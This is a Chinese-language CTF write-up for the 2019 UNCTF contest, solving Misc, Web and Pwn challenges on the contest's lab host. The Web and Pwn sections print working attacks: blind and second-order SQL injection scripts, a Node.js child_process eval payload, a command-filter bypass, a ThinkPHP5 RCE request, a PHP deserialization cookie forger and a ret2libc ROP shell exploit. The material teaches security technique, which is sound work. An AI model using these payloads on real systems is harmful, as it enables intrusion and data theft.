2019 UNCTF(安恒杯)WriteUp
前言 肝了7天的比赛,没想到最后拿了个第一名(估计大佬们都去字节跳动和xctf-final了2333)。Web共解11题其中6个一血,1个三血
附上战绩图:
Misc 快乐游戏题(100 points) 游戏通关即得flag
Think(200 points) 执行check(checknum) 函数,参数是随意一个数字即可
亲爱的(300 points) 亲爱的.mp3分离得到压缩包,需要解压密码,注意到压缩包的提示:qmusic 2019.7.27 17:47
去qq音乐找到海阔天空,李现的歌,对应时间的评论:真的上头 ,为压缩包密码
解压得到一个jpg,分离得到一个xml文件夹,flag在word/media/image1.jpg
flag:UNCTF{W3_L0v3_Unctf}
Hidden secret(600 points) 题目给了三个文件,第一个文件1 ,开头是03 04 14 00 ,很像压缩包开头,补个50 4B ,保存成zip 后,用7-zip打开压缩包,发现2.jpg其中有个1.txt
1 "K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"
是一串base92 编码
解码:
1 2 3 4 >>> import base92>>> s = "K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#" >>> base92.decode(s)'unctf{cca1a567c3145b1801a4f3273342c622}'
信号不好先挂了(800 points) apple.png存在LSB隐写藏有zip文件,
用stegsolver分离后得到压缩包解压,得到一张相似的图片:pen.png
因为两张图片长得一样,所以很容易想到可能是藏有盲水印,于是用opencv处理盲水印得到flag
1 py -2 bwm.py decode apple.png pen.png apple_pen.png
flag:unctf{9d0649505b702643}
happy_puzzle(800 points) 题目给的三个提示:
1 hint1: png吧 hint2:data不是图⽚,要拼图 hint3:idat数据块
下载下的附件中带有一个info.txt 文件和很多.data 文件
info.txt中:mode=RGB size=400x400
告诉我们了图片的宽和高都是400
然后给的这些.data 文件都是idat数据块中的DATA 部分
参考png文件格式:https://www.ffutop.com/posts/2019-05-10-png-structure/
png文件格式:PNG文件头+IHDR+IDAT+IEND
(1)构造PNG头:89 50 4E 47 0D 0A 1A 0A
(2)构造IHDR: 00 00 00 0D 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 00 00 00 00
(3)构造IDAT: 00 00 28 00 49 44 41 54 + 每个.data文件中的数据DATA + 00 00 00 00
(4)构造IEND: 00 00 00 00 49 45 4E 44 AE 42 60 82
由于有很多.data文件,需要一个一个尝试,如果某条拼正确,就能正常显示
最后拼出:
得到flag
Easy_box(800 points) 数独,网上找个现成的解数独脚本,再写个交互就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 import datetimeimport refrom pwn import * class solution (object) : def __init__ (self,board) : self.b = board self.t = 0 def check (self,x,y,value) : for row_item in self.b[x]: if row_item == value: return False for row_all in self.b: if row_all[y] == value: return False return True def get_next (self,x,y) : for next_soulu in range(y+1 ,9 ): if self.b[x][next_soulu] == 0 : return x,next_soulu for row_n in range(x+1 ,9 ): for col_n in range(0 ,9 ): if self.b[row_n][col_n] == 0 : return row_n,col_n return -1 ,-1 def try_it (self,x,y) : if self.b[x][y] == 0 : for i in range(1 ,10 ): self.t+=1 if self.check(x,y,i): self.b[x][y]=i next_x,next_y=self.get_next(x,y) if next_x == -1 : return True else : end=self.try_it(next_x,next_y) if not end: self.b[x][y] = 0 else : return True def start (self) : res = [] begin = datetime.datetime.now() if self.b[0 ][0 ] == 0 : self.try_it(0 ,0 ) else : x,y=self.get_next(0 ,0 ) self.try_it(x,y) for i in self.b: res.append(i) end = datetime.datetime.now() return res p = remote("101.71.29.5" ,10011 ) s = p.recvuntil("answer :\n" ) di = re.findall("\\n|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|\\n" ,s) d = [] d.append(di[9 ]) d.append(di[11 ]) d.append(di[13 ]) d.append(di[15 ]) d.append(di[17 ]) d.append(di[19 ]) d.append(di[21 ]) d.append(di[23 ]) d.append(di[25 ]) r = [] for i in d: e = [] for j in i: if j!= ' ' : e.append(int(j)) else : e.append(0 ) r.append(e) i = 0 j = 0 write_list = [] for i in range(9 ): write_lis = [] for j in range(9 ): if r[i][j] == 0 : write_lis.append(j) write_list.append(write_lis) res1=solution(r) res = res1.start() wri = [] count = 0 for i in write_list: write = "" for j in i: w = res[count][j] write = write + str(w) + "," wri.append(write[:-1 ]) count = count + 1 print wrifor i in wri: p.sendline(i) print p.recv() print p.recv()
Web 给赵总征婚(300 points) 靶机地址:101.71.29.5:10018
爆破密码即可,用户admin
这题坑点在后台会动态改admin的密码,所以能不能爆出来纯看运气
NSB Reset Password(300 points) 靶机地址:101.71.29.5:10042
打开靶机,发现跟上一题征婚相比,多了一个注册功能,随便注册一个账号登陆
看来还是要登陆admin
除此以外还有一个重置密码 功能,因为上一题是爆破,这题就排除这个可能。所以思路就是想办法重置admin 的密码
重置密码需要通过一个验证码校验 ,验证码是通过发送邮箱获得,但是我们不知道admin的邮箱
另外发现,删了cookie后,原来的账号就不存在了,说明,这题是根据session 来判断当前用户的,那么就可以猜想,如果我们一开始去修改我们注册的用户,然后利用自己邮箱的验证码通过验证,再用另一个页面同样的session 去重置admin,而当前重置的密码根据session判断我们要修改的用户(此时已经变成了admin),所以即可成功修改admin的密码
Twice_injection(500 points) 靶机地址:101.71.29.5:10002
打开靶机,发现环境是sql-labs 24关,注入点在pass_change.php 的修改密码处的用户名字段是直接从Session中取出:
1 $username= $_SESSION["username" ];
造成了二次注入,注入语句:
1 UPDATE users SET PASSWORD ='$pass' where username='$username' and password ='$curr_pass' ;
按照原来sql-labs的做法是注册用户名:admin’# ,然后登陆修改admin 的密码,但是这题登陆了admin也未拿到flag,说明需要去注入库中的其他信息
还是利用布尔盲注,构造语句:
1 UPDATE users SET PASSWORD='$pass' where username='admin' and ascii(substr(database(),%d,1 ))=%d
在username字段后构造条件语句,如果条件为真,则修改密码成功,为假则修改密码失败
注出数据库名:security ,在尝试注表时发现关键字or 被过滤了,所以不能使用information_schema
这里因为mysql的版本是5.7 ,所以可以利用自带的mysql 库中新增的innodb_table_stats 这个表,来获得数据库名和表名
payload:
1 admin' and ascii(substr((select group_concat(database_name) from mysql.innodb_table_stats),%d,1))=%d#
1 admin' and ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats),%d,1))=%d#
1 admin' and ascii(substr((select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),%d,1))=%d#
1 admin' and ascii(substr((select group_concat(column_name) from sys.schema_auto_increment_columns where table_name='users'),%d,1))=%d#
获得fl4g 表:
security.fl4g :
1 admin' and ascii(substr((select group_concat(database_name) from mysql.innodb_table_stats where table_name='fl4g'),%d,1))=%d#
最后获取flag的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsindex_url = "http://101.71.29.5:10002/index.php" login_url = "http://101.71.29.5:10002/login.php" pass_change_url = "http://101.71.29.5:10002/pass_change.php" register_url = "http://101.71.29.5:10002/login_create.php" s = requests.Session() database = "" version = "5.7.27" table_name = "emails,referers,uagents,users" for i in range(1 ,50 ): for j in range(44 ,128 ): register_data = { "username" :"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121" %(i,j), "password" :"123" , "re_password" :"123" , "submit" :"Register" } r1 = s.post(register_url,data=register_data) login_data = { "login_user" :"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121" %(i,j), "login_password" : "123" , "mysubmit" : "Login" } r2 = s.post(login_url,data=login_data) pass_change_data = { "current_password" : "123" , "password" : "somnus1" + str(i), "re_password" : "somnus1" + str(i), "submit" : "Reset" } r3 = s.post(pass_change_url, data=pass_change_data) if "Password successfully updated" in r3.text: database = database + chr(j) print database break
checkin(600 points) 靶机地址:101.71.29.5:10010
打开靶机,发现是一个websocket的js网站
/js/app.03bc1faf.js中可以看到源码
根据提示,需要我们先输入/name nickname 来进行登陆
登陆后,审计源码发现可以执行一个calc 操作
疑似命令执行
/calc 5*6 发现返回30
搜索发现可能是nodejs命令执行:Node.js代码审计之eval远程命令执行漏洞
调用child_process 模块,然后过滤空格,用$IFS 替代
执行:ls /
1 /calc require("child_process").execSync("ls$IFS/").toString()
发现/flag
最后的payload:
1 /calc require("child_process").execSync("cat$IFS/flag").toString()
简单的备忘录(800 points) 靶机地址:101.71.29.5:10012
打开靶机,有个链接,访问发现是一个graphql 的查询接口
通过get-graphql-schema 将graphql模式都一一列举出来:
1 $get-graphql-schema http://101.71.29.5:10012/graphql
摸清层次后,
进行层层嵌套查询 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { allUsers { edges { node { id username memos{ pageInfo { hasPreviousPage hasNextPage startCursor endCursor } edges{ node{ id content } } } } cursor } } }
flag就在Meno 类的content 字段中
加密的备忘录(1000 points) 靶机地址:101.71.29.5:10037
打开靶机
源码提示我们:
1 <!-- GraphQL 真方便 All your base are belong to us!!!!! -->
访问一下,还是有graphql接口,只是没有像上一题那样写一个界面
同样用get-graphql-schema 列出结构:
相比于上一题,发现Query 类中多了一个方法checkPass ,类Memo_ 也多了一个成员属性password ,我们同样用上一关的payload来查询一下结果。
因为没有提供接口,需要我们自己构造请求的数据包,头部字段需要添加:
1 Content-Type: application/json
查询结果发现,相比于之前那题,content 字段和多出来的password 字段的值看起来像是经过unicode 编码,将password字段值拿去unicode解码试试
发现是一串很奇怪的汉字
想到还有一个方法checkPass 没试,于是构造一下数据包:
从查询结果来分析,我们输入的password:1 貌似经过了unicode编码后,返回告诉我们这个密码查询结果为空
把1经过unicode编码后的字符串:\u4e3a\u6211\u7231\u7231
再次拿去解码:
又是一串看不懂的中文,而如果我们直接把前面查的password字段中的字符串拿来查询:
结果出现整形溢出而报错
所以猜测:这个checkPass 方法会将我们查询的password值进行一次变形的unicode编码后,进行查询
那么,我们就需要将password字段值进行还原明文的操作
通过测试发现,可以进行逐位爆破 明文,现在我们要破解的是password密文:
1 \u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231
那么,首先先对第一个密文字符串:\u8981 进行解密
首先爆破第一位明文:
爆破发现,第一个明文范围可能为[H-K]
第二个明文,就根据第一个明文的可能来列举爆破,看看是否符合最前面两串密文字符串:\u8981\u6709
发现,第一个明文字符为H 时,第二个明文字符为[a-o] ,前两串密文都满足:\u8981\u6709
由此确定,第一个明文字符为:H
以此类推,根据checkPass返回的结果来逐位爆破出明文,按照这个思路,编写爆破exp,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import requestsimport stringimport jsonimport refrom time import sleepurl = "http://101.71.29.5:10037/graphql" s = string.ascii_letters + string.digits + "{}" password = "\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231" find_password = "" change_password = "" pass_list = password.split("\u" )[1 :] count = 0 query = {"query" :"{\n checkPass(memoId: 1, password:\"%s\")\n}\n" } query = json.dumps(query) headers = { "Content-Type" :"application/json" } while find_password != password: possible_list = [] end = 0 for i in s: payload = query % (change_password + i) s1 = requests.Session() r = s1.post(url,headers= headers,data=payload) sleep(0.1 ) message = str(re.findall("'(.*)' not" ,r.text)[0 ]) message_list = message.split("\u" )[1 :] if (message_list[count] == pass_list[count]) and (message_list[count + 1 ] == pass_list[count + 1 ]) and (message_list[count + 2 ] == pass_list[count + 2 ]): change_password = change_password + i end = 1 break elif message_list[count] == pass_list[count]: possible_list.append(i) if end == 1 : print change_password break count = count + 1 poss1_list = [] for j in possible_list: for z in s: payload = query % (change_password+j+z) s1 = requests.Session() r1 = s1.post(url, headers=headers, data=payload) sleep(0.1 ) message = str(re.findall("'(.*)' not" , r1.text)[0 ]) message_list = message.split("\u" )[1 :] if (message_list[count] == pass_list[count]) and (message_list[count + 1 ] == pass_list[count + 1 ]) and (message_list[count + 2 ] == pass_list[count + 2 ]): end = 1 break elif message_list[count] == pass_list[count]: poss1_list.append(z) if len(poss1_list) != 0 : change_password = change_password + j if end == 1 : change_password = change_password + z find_password = find_password + "\u" + pass_list[count - 1 ] break if end == 1 : break if end == 1 : print change_password break if len(poss1_list) == 1 : print change_password continue else : count = count + 1 for k in poss1_list: for m in s: payload = query % (change_password + k + m) s1 = requests.Session() r2 = s1.post(url,headers=headers,data=payload) sleep(0.1 ) message = str(re.findall("'(.*)' not" , r2.text)[0 ]) message_list = message.split("\u" )[1 :] if (message_list[count] == pass_list[count]) and (message_list[count + 1 ] == pass_list[count + 1 ]): change_password = change_password + k + m find_password = find_password + "\u" + pass_list[count - 1 ] + "\u" + pass_list[count] + "\u" + pass_list[count + 1 ] end = 1 break if end == 1 : break count = count + 2 print change_password print find_password
跑出的密码是:HappY4Gr4phQL
检查一下是否正确:
查询结果为true,说明正确,但是,没有返回flag,这时候突然想到,content 字段中也有一串密文,按照上题来看,flag估计就是content字段的明文值了,于是继续爆破content 字段密文
最后跑出flag:flag{a98b35476ffdc3c3f84c4f0fa648e021}
审计一下世界上最好的语言吧(1000 points) 靶机地址:101.71.29.5:10003
打开靶机,给了源码:www.zip
开始审计
漏洞触发点很明显,只有一个,在parse_template.php 的parseIf 函数中
分析发现,该函数对传入的参数$content 进行{if:(.*?)}(.*?){end if}
规则的正则匹配,将匹配的结果的第一个元素,即{if:(.*?)}
的(.*?)
匹配字符串拼接到eval 函数中执行命令
那么,就接着找找哪里调用了parseIf 函数
在parse_template.php 的parse_again 函数的末尾,调用了该函数,继续跟踪,就发现在index.php 的最后,调用了parse_again 函数
接下来,就是想办法让输入的参数符合条件,来执行parse_again 函数,进而执行parseIf 函数,触发漏洞
首先看下全局过滤:common.php
全局文件common.php 对GET,POST,COOKIE中的参数进行了进行了check_var 的检查,过滤了关键字:_GET ,_POST ,GLOBALS
然后,进行了变量覆盖 的操作
所以执行parse_again 函数的条件,就是content 参数符合正则匹配:<search>(.*?)<\/search>
也就是说,我们随便传个参数?content=<search>123</search>
就可以执行parse_again
然后重点审计parse_again 函数
该函数处理过程大致是:对传入的searchnum ,type ,typename 和index.php中一开始传入的参数content ,进行一个RemoveXSS 的过滤,该函数过滤了大部分关键字:
其中就包括了parseIf 函数中匹配的关键字:if:
过滤后,截取前20个字符,进行template.html 模板文件的标签替换,最后触发parseIf ,通过eval 执行模板文件中符合{if:(.*?)}(.*?){end if}
正则匹配的第一个结果字符串
如果我们输入的参数包含{if:
,经过RemoveXSS 处理后就变成了{if<x>:
,那么必然就不符合后面的匹配
所以,我们首先需要想办法来绕过RemoveXSS 的过滤
我们可以发现,在RemoveXSS 的过滤和执行parseIf 的中间,还进行了4次的str_replace 函数的替换,那么,我们就可以利用替换,来绕过过滤,比如我们传入:
1 ?content=<search>{i<haha:type>f:phpinfo()}{end if}</search>
因为type参数为空,所以最后传入parseIf函数的内容就包括:
1 <search>{if:phpinfo()}{end if}</search>
就能成功匹配了,但是,这里还有长度20的限制,所以,我们可以通过多次替换,来绕过限制
在模板文件中,存在一处可以让我们通过拼接来凑成{if:(.*?)}(.*?){end if}
匹配结构的地方
于是,传入payload:
1 ?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:phpinfo()}
成功执行phpinfo ,看看有没有disable_functions的限制
没有限制,那么接下来就是读flag.php 文件,选用一个最短的readfile 函数
1 ?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:readfile('flag.php')}
但是,这样type 参数长度还是超过了20,这时候,想到还有最后一个参数typename 没有利用到,于是,传入:
1 ?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:rea{haha:typename}&typename=dfile(%27flag.php%27)}
getflag~
bypass(800 points) 靶机地址:101.71.29.5:10054
命令执行bypass,过滤点有两处
(1)正则匹配的黑名单:
1 2 if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is" , $a)) $a = "" ;
(2)对输入参数强制包裹双引号“” :
其实最致命的是第二处过滤,强制添加双引号,即使我们输入了黑名单里没有的命令,在双引号的作用下,也执行不了命令
所以,这时候就想到了,强制命令执行的反引号`
但是,这里好像正则过滤了?其实没有,不信,我们测试一下:
很惊奇的发现,由于前面存在的:
会将|
进行转义,这是因为在preg_match 中,三个反斜杠\\\
才能匹配一个真正意义上的字符反斜杠\
,所以这里因为正则的匹配机制造成了反引号逃逸
测试下:
果然成功执行uname ,那么接下来,就是想办法列目录了,虽然这里ls 被禁用了,但是我们还可以用dir
但是没有发现flag文件,试着找了其他常见目录下,也未发现,那么,就试着执行查找文件名操作:find
虽然find 在黑名单中,但是,我们可以通过执行二进制文件 和通配符 ?
的结合来进行绕过
payload:
1 ?a=`/usr/b??/???d / -name ?lag`
但是还是未找到flag文件,再试着grep -R 来搜索flag内容ctf ,payload
1 ?a=`/?in/gre?%20-R%20ctf`
发现flag
不过这是非预期解,联系出题人以后,出题人也把\\
位置换到\^
的前面,预期解是:
1 ?a=\&b=%0a/???/gr?p%20-R%20ctf%20%23
实质上还是因为正则\\
匹配不到\
的问题,使用了换行%0a
,再结合linux的命令终止符 %20#
处理双引号,最终的命令为:
1 2 file "\" " /???/gr?p -R ctf #"
easy_admin(1000 points) 靶机地址:101.71.29.5:10045
打开靶机,是一个登陆界面
file参数存在文件包含,尝试LFI发现过滤了:// ,无法使用伪协议
扫描目录,发现存在admin.php
另外还有个forget.php
思路就应该是要登陆admin,在forget.php 中发现username 存在注入点,用户名不存在时会返回no this user,利用这个点进行布尔盲注
fuzz发现过滤了or ,and ,select 等关键字,用&& 来代替and 即可,盲注脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "http://101.71.29.5:10045/index.php?file=forget" password = "" for i in range(1 ,50 ): for j in range(44 ,128 ): data= { "username" :"admin' && ascii(substr(password,%d,1))=%d#" %(i,j) } r = requests.post(url,data=data) if "no this user" not in r.text: password = password + chr(j) print password
跑出admin的密码:flag{never_too
然后登陆admin
提示我们:admin will access the website from ,于是加个头部字段:
拿到另一半flag
最后的flag就是:flag{never_too_late_to_x}
easy_pentest(1000 points) 靶机地址:101.71.29.5:10021
根据题目的两个hint:
1 2 Hint1:tp框架特性 Hint2:万物皆有其根本,3.x版本有,5.x也有,严格来说只能算信息泄露
测试发现,我们输入index.php等已知的tp文件,都会自动跳转回not_safe.html ,我们首先要找到泄露信息的点,获得权限去访问
信息泄露,就想到了去查看tp日志
通过fuzz,发现runtime/log/201910/02.log 存在信息泄露
发现一个关键的参数safe_key ,然后根据上面写的头部再次访问
访问成功,跳转到了safe_page.html ,并获取到了tp版本为5
接下来,就是去找tp5是否存在已知爆出的远程rce的漏洞:
ThinkPHP5漏洞分析之代码执行(十)
果然有,漏洞点是tp5的method 代码执行,漏洞触发点在call_user_func 函数
直接拿payload打过去
成功执行,后面测试发现过滤了如下内容:
1 2 3 4 5 6 7 8 9 10 11 file关键字 php短标签: <?php <? <?= php伪协议: php://filter disable_functions:system,shell_exec,exec,proc_open,passthru等命令执行函数
另外php版本是7.1 ,也就是说assert 不能动态调用了,而eval 在php手册中已经写道:是一个language construct ,而不是一个函数,所以也不能通过call_user_func 来调用
所以我们能利用的就只有读取文件show_source 和扫描目录scandir
show_source可以很轻松的读到/etc/passwd ,但是不知道flag文件路径
但是scandir 会因为是返回数组而无法输出
所以得想办法,输出scandir
参考:记一次有趣的tp5代码执行
里面提到filter 可以通过传递多个来对参数进行多次的处理
所以,可以先传入filter[]=scandir&get[]=/ ,这样读取完目录后。传入filter[]=var_dump ,就可以成功输出扫描目录结果了
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /public/index.php?safe_key=easy_pentesnt_is_s0fun HTTP/1.1 Host: 101.71.29.5:10021 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 x-requested-with: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1 Referer: http://101.71.29.5:10021/public/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 84 _method=__construct&method=get&server[]=1&filter[]=scandir&get[]=/&filter[]=var_dump
flag文件在/home 目录下
最后读取flag
K&K战队的老家(1000 points) 靶机地址:101.71.29.5:10007
打开靶机,是一个登陆界面
用万能密码即可登陆:
登录框fuzz发现过滤了很多注入关键字:
1 #,-,/,*,select,and,or,by等
所以,登录框除了登陆,判断不存在盲注点
登陆后,给了我们一串看不懂的cookie:
1 %26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d
然后来到后台,源码中发现有个debug 功能,并且m 参数疑似存在文件包含
访问debug
提示cookie出错,猜想可能需要伪造一个正确的cookie,才能使用debug功能,那么就需要获取源码
m 参数过滤了关键字php 和base64 ,尝试大小写,发现可以绕过,读取源码:
1 ?m=PHP://filter/convert.Base64-encode/resource=home
拿到源码后,审计发现,在debug.php 的魔术方法__toString 中,存在包含flag.php 文件的操作,那么这就是我们最后要执行的地方
触发__toString 魔术方法的条件就是把类当作字符串输出,对应debug.php 的debug 方法的末尾方法
要触发debug 方法,就在home.php 末尾代码:
但是中间有许多waf需要我们bypass
(1)check函数:check($cookie, $db, $session);
此处存在反序列点,而且$objstr 对应cookie的identity 字段,没用过滤,是可控的,我们可以进行任意的反序列化操作
这里只需要没反序列化正确,就能通过
(2)index_check函数:index_check($session->id, $session->username);
返回结果数量不能小于4,即我们反序列化后对象的username和id字段拼接道Sql语句后必须有查询结果
(3)debug类的__construct 魔术方法,check1 函数
检查对象的username字段是否为debuger ,意思是我们查询的用户名必须是debuger ,check1 函数同理
(4)最后输出echo $this->forbidden;
虽然前后矛盾,但是细看,第一个比较是===
,而第二个比较switch 则是弱类型比较即==
,所以我们可以让$this->choose 为“2” ,即可绕过过滤
综上,写出如下POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php function cookie_encode ($str) { $key = base64_encode($str); $key = bin2hex($key); $arr = str_split($key, 2 ); $cipher = '' ; foreach ($arr as $value) { $num = hexdec($value); $num = $num + 240 ; $cipher = $cipher.'&' .dechex($num); } return $cipher; } class session { public $choose = 1 ; public $id = 0 ; public $username = "" ; } class debug { public $choose = "2" ; public $forbidden = "" ; public $access_token = "" ; public $ob = NULL ; public $id = 2 ; public $username = "debuger" ; public function __construct () { $this ->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}' ); } } $d = new debug(); echo cookie_encode(serialize($d));?>
运行得到cookie的payload:
1 &144&16a&15f&121&13f&159&13a&15b&14a&147&13a&121&14a&169&139&126&13e&15a&160&127&153&16a&15f&122&13f&159&13a&15a&151&137&129&166&153&122&145&159&13f&123&13d&126&13d&144&15f&159&13d&159&139&127&153&16a&15f&125&13f&159&13a&15d&152&123&13a&159&151&147&142&15b&14a&147&124&159&13f&120&128&126&13e&144&15f&159&14a&137&146&159&154&147&153&159&13f&15a&149&126&155&123&13d&126&13e&15a&15f&159&149&122&158&166&152&123&13e&15c&139&15a&164&16a&13f&15a&135&126&139&15a&139&159&13f&123&13d&126&13f&144&15f&159&14a&15d&129&169&149&15d&15c&15b&14a&137&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129
传入后发现,此时已经成功包含flag.php ,但是,提示了一段信息:token error ,并且告诉我们在flag.php中还包含了access.php
猜想可能对应类中的access_token 参数,但是因为是include,所以我们看不到flag.php的源码
这里也是卡了很久,后来才发现有备份文件:access.php.bak
1 2 3 4 5 6 7 8 9 <?php error_reporting(0 ); $hack_token = '3ecReK&key' ; try { $d = unserialize($this ->funny); } catch (Exception $e) { echo '' ; } ?>
那么,我们再添加一个参数$this->funny ,反序列化后的access_token 为3ecReK&key 即可
最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php function cookie_encode ($str) { $key = base64_encode($str); $key = bin2hex($key); $arr = str_split($key, 2 ); $cipher = '' ; foreach ($arr as $value) { $num = hexdec($value); $num = $num + 240 ; $cipher = $cipher.'&' .dechex($num); } return $cipher; } class session { public $choose = 1 ; public $id = 0 ; public $username = "" ; } class debug { public $choose = "2" ; public $forbidden = "" ; public $access_token = "" ; public $ob = NULL ; public $id = 2 ; public $username = "debuger" ; public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}' ; public function __construct () { $this ->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}' ); } } $d = new debug(); echo cookie_encode(serialize($d));?>
Pwn babyrop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * from LibcSearcher import * context.log_level='debug' p=remote("101.71.29.5" ,10041 ) elf=ELF("./babyrop" ) main_addr = elf.got['__libc_start_main' ] print(hex(main_addr)) puts_addr=elf.plt['puts' ] puts_got_addr=elf.got['puts' ] start_addr=0x08048592 gdb.attach(p) p.sendlineafter("Hello CTFer!" ,'a' *0x20 +p32(1717986918 )) p.sendlineafter("What is your name?" ,'a' *0x10 +'a' *4 +p32(puts_addr)+p32(start_addr)+p32(puts_got_addr)) a=p.recvuntil("Hello CTFer!" ) print(a[1 :5 ]) puts_libc_addr=u32(a[1 :5 ]) print(hex(puts_libc_addr)) p.sendline('a' *0x20 +p32(1717986918 )) p.sendlineafter("What is your name?" ,'a' *0x10 +'a' *4 +p32(puts_addr)+p32(start_addr)+p32(main_addr)) main_libc_addr=u32(p.recvuntil("Hello CTFer!" )[1 :5 ]) print(hex(main_libc_addr)) p.sendline('a' *0x20 +p32(1717986918 )) obj = LibcSearcher("puts" , puts_libc_addr) obj.add_condition("__libc_start_main" , main_libc_addr) print(hex(obj.dump('puts' ))) print(hex(obj.dump('__libc_start_main' ))) print(hex(obj.dump('system' ))) print(hex(obj.dump('str_bin_sh' ))) libcbase_addr=puts_libc_addr-obj.dump('puts' ) system_addr=libcbase_addr+obj.dump('system' ) print("system_addr:" ) print(hex(system_addr)) binsh_addr=libcbase_addr+obj.dump('str_bin_sh' ) print("binsh_addr:" ) print(hex(binsh_addr)) p.sendlineafter("What is your name?" ,'a' *0x10 +'a' *4 +p32(0x08048591 )+p32(system_addr)+p32(puts_addr)+p32(binsh_addr)) p.interactive()
Re 666 对目标数组进行异或变换
